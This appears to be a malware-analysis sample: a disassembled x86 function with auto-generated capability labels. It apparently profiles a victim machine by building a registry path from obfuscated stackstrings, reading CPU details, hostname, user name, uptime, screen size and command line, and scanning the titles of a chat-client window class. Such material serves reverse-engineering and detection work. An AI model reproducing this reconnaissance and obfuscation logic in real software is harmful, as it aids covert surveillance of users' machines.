Function at 0x1002dfb0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get graphical window text
Get hostname
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x950
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
mov ecx, 0x158
xor eax, eax
lea edi, [esp + 0x400]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov byte [esp + 0x46], al
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push 1
push 0
mov bl, 0x5c
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x414], 0x89
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x2d], 0x41
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x44
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x41
mov byte [esp + 0x32], 0x52
mov byte [esp + 0x33], 0x45
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x44
mov byte [esp + 0x36], 0x45
mov byte [esp + 0x37], 0x53
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x52
mov byte [esp + 0x3a], 0x49
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3d], 0x49
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x53
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x43], 0x73
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x72
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], 0x65
mov byte [esp + 0x54], 0x73
mov byte [esp + 0x55], 0x73
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x57], 0x72
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], 0x30
call ebp
test eax, eax
jne 0x1002e14f
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x88]
lea eax, [esp + 0x80]
push edx
push eax
push 0
push 0
push str.MHz
push ecx
mov dword [esp + 0xa0], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0xe4]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
push edx
lea eax, [esp + 0x409]
push str._d_dMHz
push eax
call esi
add esp, 0x10
jmp 0x1002e17e
mov edi, 0x101256e8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x421]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x48]
push ecx
push 1
push 0
push edx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x5c], 0x48
mov byte [esp + 0x5d], 0x41
mov byte [esp + 0x5e], 0x52
mov byte [esp + 0x5f], 0x44
mov byte [esp + 0x60], 0x57
mov byte [esp + 0x61], 0x41
mov byte [esp + 0x62], 0x52
mov byte [esp + 0x63], 0x45
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x44
mov byte [esp + 0x66], 0x45
mov byte [esp + 0x67], 0x53
mov byte [esp + 0x68], 0x43
mov byte [esp + 0x69], 0x52
mov byte [esp + 0x6a], 0x49
mov byte [esp + 0x6b], 0x50
mov byte [esp + 0x6c], 0x54
mov byte [esp + 0x6d], 0x49
mov byte [esp + 0x6e], 0x4f
mov byte [esp + 0x6f], 0x4e
mov byte [esp + 0x70], bl
mov byte [esp + 0x71], 0x53
mov byte [esp + 0x72], 0x79
mov byte [esp + 0x73], 0x73
mov byte [esp + 0x74], 0x74
mov byte [esp + 0x75], 0x65
mov byte [esp + 0x76], 0x6d
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x43
mov byte [esp + 0x79], 0x65
mov byte [esp + 0x7a], 0x6e
mov byte [esp + 0x7b], 0x74
mov byte [esp + 0x7c], 0x72
mov byte [esp + 0x7d], 0x61
mov byte [esp + 0x7e], 0x6c
mov byte [esp + 0x7f], 0x50
mov byte [esp + 0x80], 0x72
mov byte [esp + 0x81], 0x6f
mov byte [esp + 0x82], 0x63
mov byte [esp + 0x83], 0x65
mov byte [esp + 0x84], 0x73
mov byte [esp + 0x85], 0x73
mov byte [esp + 0x86], 0x6f
mov byte [esp + 0x87], 0x72
mov byte [esp + 0x88], bl
mov byte [esp + 0x89], 0x30
mov byte [esp + 0x8a], 0
mov byte [esp + 0x8b], 0
call ebp
test eax, eax
jne 0x1002e358
mov ecx, 0x40
lea edi, [esp + 0xf5]
mov byte [esp + 0xf4], al
lea edx, [esp + 0x8c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x78]
lea ecx, [esp + 0xf4]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push 0
push str.ProcessorNameString
push eax
mov dword [esp + 0x90], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002e347
lea ecx, [esp + 0xf4]
push ecx
mov ecx, dword [esp + 0x14]
call fcn.1002df20
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x421]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1002e38b
mov ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1002e38b
mov edi, 0x101254dc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x421]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x84]
lea edx, [esp + 0x4a1]
push ecx
push edx
mov dword [esp + 0x8c], 0x32
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x4d3]
push eax
call fcn.1002de40
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
mul edi
mov ecx, edx
mov eax, edi
xor edx, edx
mov edi, 0x5265c00
div edi
mov ebp, 0x36ee80
shr ecx, 0x18
mov edi, edx
xor edx, edx
mov eax, edi
div ebp
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul edi
shr edx, 0x15
push edx
push ecx
lea ecx, [esp + 0x4ff]
push 0x101254cc
push ecx
call esi
add esp, 0x14
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov ebp, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 0x75
push edi
call ebp
push eax
push 0x76
push edi
call ebp
push eax
lea edx, [esp + 0x55b]
push str._d___d
push edx
call esi
add esp, 0x10
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov al, byte [ebx + 0x118]
test al, al
jne 0x1002e46b
mov eax, dword [ebx + 0x11c]
lea ecx, [esp + 0x573]
push eax
push 0x101256cc
push ecx
call esi
add esp, 0xc
cmp byte [ebx + 0x118], 1
jne 0x1002e48d
mov edx, dword [ebx + 0x11c]
lea eax, [esp + 0x573]
push edx
push 0x101256b8
push eax
call esi
add esp, 0xc
mov ecx, dword [ebx + 0x114]
lea edx, [esp + 0x5d7]
push ecx
push 0x100ff37c
push edx
call esi
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [esp + 0x5fb]
push 0x100ff678
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x2fc]
mov dword [esp + 0x7c], 0x100
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov bl, byte [ebx + 0x119]
test bl, bl
jne 0x1002e4f8
lea eax, [esp + 0x2fc]
push 0x101256a8
push eax
push 0x1012568c
jmp 0x1002e55b
cmp bl, 1
jne 0x1002e51e
lea edx, [esp + 0x2fc]
push 0x10125680
push edx
push 0x1012566c
lea eax, [esp + 0x703]
push str._s_s_s
push eax
jmp 0x1002e568
cmp bl, 2
jne 0x1002e544
lea ecx, [esp + 0x2fc]
push 0x10125680
push ecx
push str._Run
lea edx, [esp + 0x703]
push str._s_s_s
push edx
jmp 0x1002e568
cmp bl, 3
jne 0x1002e56d
lea eax, [esp + 0x2fc]
push 0x10125680
push eax
push 0x10125640
lea ecx, [esp + 0x703]
push str._s_s_s
push ecx
call esi
add esp, 0x14
call fcn.1001c740
push eax
lea edx, [esp + 0x75f]
push 0x100ff678
push edx
call esi
mov ecx, 5
mov esi, str.CTXOPConntion_Class
lea edi, [esp + 0x204]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x101]
mov byte [esp + 0x100], al
add esp, 0xc
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1f8]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x1002e72b
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0x1f8]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1002e610
test cl, cl
je 0x1002e60c
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1002e610
add eax, 2
add esi, 2
test cl, cl
jne 0x1002e5ec
xor eax, eax
jmp 0x1002e615
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1002e708
lea eax, [esp + 0x1f8]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x1f8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x1f7]
dec ecx
cmp al, 0x5f
jne 0x1002e642
lea edi, [esp + ecx + 0x1f9]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xf4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x85b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0xf4]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 2]
cmp eax, 0x100
ja 0x1002e708
lea edi, [esp + 0xf4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x85b]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x85b]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100ff5dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call ebx
mov ebp, eax
lea eax, [esp + 0x1f8]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x1002e5e0
lea ecx, [esp + 0x90]
mov dword [esp + 0x90], 0x40
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x98]
mov edx, dword [esp + 0x9c]
mov ecx, 0x14
call fcn.10030e10
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x400]
push 0x560
push edx
mov dword [esp + 0x964], eax
call fcn.10012e90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x950
ret